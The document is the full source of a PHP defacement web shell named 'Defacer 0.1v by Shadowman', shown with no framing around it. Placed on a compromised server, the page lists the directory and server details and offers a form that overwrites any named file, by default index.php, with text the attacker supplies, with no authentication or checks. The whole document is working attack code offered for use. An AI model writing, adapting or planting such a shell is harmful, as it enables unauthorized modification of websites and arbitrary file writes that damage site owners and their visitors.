Code:
<html>
<head>
<title>Defacer 0.1v</title>
</head>
<body bgcolor='black' text='lime'>
<form method='post' action='Defacer.php'>
<table border='2' align='center' bgcolor='gray' cellpadding='2' cellspacing='5'>
<tr>
<td align='center'><b>Defacer 0.1v by Shadowman</b></td>
</tr>
<tr>
<td align='center'><?php $ip=getenv("REMOTE_ADDR"); echo "Your IP: ".$ip; ?></td>
</tr>
<tr>
<td align='center'><?php echo "Server IP: ".$_SERVER['SERVER_ADDR']; ?></td>
</tr>
<tr>
<td align='center'>
<?php
echo"Index status: ";
if(file_exists("index.php"))
{
echo "<font color='lime'> index.php was found</font>";
}
if(file_exists("index.html"))
{
echo "<font color='lime'> index.html was found</font>";
}
elseif(!file_exists("index.php") AND !file_exists("index.html"))
{
echo "<font color='red'> file not found</font>";
}
?>
</td>
</tr>
<tr>
<td align='center'><?php echo "PATH: ".getcwd(); ?></td>
</tr>
<tr>
<td align='center'>
<?php
$mydir=getcwd();
$myhandle=opendir($mydir);
while($nextfile = readdir($myhandle))
echo $nextfile."<br>";
closedir($myhandle);
?>
</td>
<tr>
<td align='center'>TARGET:<input type='text' value='index.php' size='35' maxlength='50' name='target'></td>
</tr>
</tr>
<tr>
<td align='center'><textarea name='code' rows='20' cols='50'>Your Code</textarea></td>
</tr>
<tr>
<td align='center'><input type='submit' value=' DEFACE '></td>
</tr>
</table>
</form>
</body>
<?php
$target=$_POST["target"];
$code=$_POST["code"];
if($target != "" AND $code != "")
{
$file=fopen($target,"w");
fwrite($file,$code);
fclose($file);
}
else
{
die();
}
?>